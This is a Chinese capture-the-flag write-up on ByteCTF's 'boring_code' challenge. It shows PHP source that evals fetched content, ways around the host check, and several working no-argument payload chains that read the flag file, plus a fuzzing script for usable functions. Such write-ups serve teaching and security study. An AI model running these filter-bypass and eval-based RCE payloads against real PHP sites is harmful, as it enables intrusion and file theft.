PHP 无参数实现 RCE - boring_code
bytectf boring_code
F12 注释中可以看到 flag 在 index.php
文件中,而/code/index.php
中直接给出了源码:
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}
首先会先用正则判断我们传入的 URL
,通过后会 file_get_contents
请求 URL,同时对返回的内容进行了限制,最后 eval 执行。这里很容易在网上找到两篇关于 parse_url
和 file_get_contents
进行 SSRF 的文章:
文章中是给出了两种方式:parse_url 和 curl、file_get_contents 和 PHP 伪协议。其中伪协议靠的是 data 协议中类似 data:text/plain
,其 : 后的内容可以任意替换,而题目刚好 WAF 了 data,其余的协议又没有这个特性。针对第一部分有如下三种解决方案:
-
氪金注册域名
evilbaidu.com
; -
使用 ftp 协议,
ftp://ip:port,baidu.com:80/filename.txt
; -
百度任意跳转的漏洞 post.baidu.com; (参考链接)
file_get_contents 获取到的内容会进入正则替换,?R
循环匹配并替换[a-z]()
为空。最后剩下一个;,即我们的 payload 必须要是 a(b(c()));
这样的 PHP 函数嵌套的形式。这里限制了两点:
-
函数名不能带有
_
; -
函数内不能传入常量参数;
fuzz 可以使用的 PHP 内置函数:
<?php
// var_dump(gettype(get_defined_functions())); -> array
// var_dump(count(get_defined_functions()["internal"])); -> 1276
// var_dump(preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', '1')); -> int(0)
$func = get_defined_functions()["internal"];
$_func = array();
$_i = 0;
foreach ($func as $key => $value) {
if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $value)) {
$_func[$_i] = $value;
$_i++;
}
}
print_r($_func);
当前位置为 /code/index.php
,flag 位于 index.php
想办法构造出上层目录文件的绝对路径,然后去读取它(因为 path 被过滤,无法用 realpath() 函数来返回绝对路径);或可以采用把目录切换到上级目录,然后再读取。可以构造出 .
这个字符,来代表当前所在的目录。因为只有一个字符,因此可以借助 ord()
和 chr()
函数来构造。
time()
chr() 函数需要传入一个数字,并取模 256 后根据 ASCII 码返回对应的字符。这里我们可以使用 time()
函数来返回当前时间戳数字,当 time() 为 46 时,chr(46)是 .
。time() 循环一轮,即 256 秒是 4 分钟左右,只要在当前时间戳取模为 46 的时候发送请求就能获取到 .
字符。
# var_dump(scandir('.'));
array(3) {
[0]=> string(1) "."
[1]=> string(2) ".."
[2]=> string(9) "index.php"
}
next()
函数来使数组指针后移,使其指向 ..
,即上一层目录。然后就可以套一层chdir()来切换当前目录了。
chdir(next(scandir(chr(ord(chr(time()))))))
切换到上层目录后,即可开始读取 index.php 的内容。首先显示选取到 index.php 这个文件,和上面的方法一样,用 time() 以及 chr() 构造出字符.,然后用 scandir() 来读取目录下的文件内容:
array(4) {
[0]=> string(1) "."
[1]=> string(2) ".."
[2]=> string(4) "code"
[3]=> string(9) "index.php"
}
注意这里返回数组中,是按照文件名首字母的顺序来排序的,因此 index.php 会在最后一个,用 end() 函数来获取数组的最后一个元素,即取到了index.php。
之后使用 file() 函数来读取文件内容。要注意的是,PHP 的很多文件操作函数返回或入参是文件句柄,这在本题中是无法使用的。file() 函数的返回值是数组,而 echo() 和 print() 函数无法输出数组的内容,这里我想到了使用 PHP 序列化函数 serialize()
来将数组的值序列化为字符串后输出。
echo(serialize(file(end(scandir(chr(ord(chr(time()))))))))
最终 payload:
echo(serialize(file(end(scandir(chr(ord(chr(time(chdir(next(scandir(chr(ord(chr(time())))))))))))))));
phpversion()
构造出 .
即可扫描当前目录:
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
之后就是使用 chdir 函数进行跳到上一级目录,但是跳完还有一个问题,就是该怎么再次获取一个 .
出来,chdir 函数的返回值是布尔值,那么之后就将布尔值 True
作为参数放在 fuzzer 中看能得到什么结果,最后 fuzz 轮次不一样时发现 time 函数返回的结果也不一样,随后查了一下手册,便意识到可以使用这种方式来进行构造一个 46 出来,所以构造出如下 payload:
localtime(time(1))
最终 payload:
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
localeconv()
localeconv()
函数返回一包含本地数字及货币格式信息的数组。其返回的数组元素中包含 [decimal_point] - 小数点字符。
php > var_dump(localeconv());
array(18) {
["decimal_point"]=> string(1) "."
["thousands_sep"]=> ...}
pos()
输出数组中的当前元素的值:
php > var_dump(pos(localeconv()));
string(1) "."
Payload:
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
hash 特性
Payload:
readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));
原理:hebrevc(crypt(arg))
可以随机生成一个 hash 值 第一个字符随机是 $
(大概率) 或者 .
(小概率) 然后通过ord、chr只取第一个字符
php > var_dump(hebrevc(crypt(phpversion())));
string(34) ".$1$zEHuomrO$cXgJopOzWROGwYb.gyDRl"
php > var_dump(chr(ord(".$1$zEHuomrO$cXgJopOzWROGwYb.gyDRl")));
string(1) "."
Payload 2:
crypt(serialize(array()))
原理同上,用于生成 .
。
if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));
fuzz fliter:
<?php
error_reporting(0);
// var_dump(gettype(get_defined_functions())); -> array
// var_dump(count(get_defined_functions()["internal"])); -> 1276
// var_dump(preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', '1')); -> int(0)
$func = get_defined_functions()["internal"];
$_func = array();
$_i = 0;
foreach ($func as $key => $value) {
if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $value)) {
$_func[$_i] = $value;
$_i++;
}
}
// print_r($_func);
try {
foreach ($_func as $f) {
if(!is_null($f())) {
echo $f."\n";
}
// if (var_dump(print_r($f(chr(46))))) {
// echo $f;
// }
}
} catch (Throwable $th) {
//throw $th;
}
- 参考 -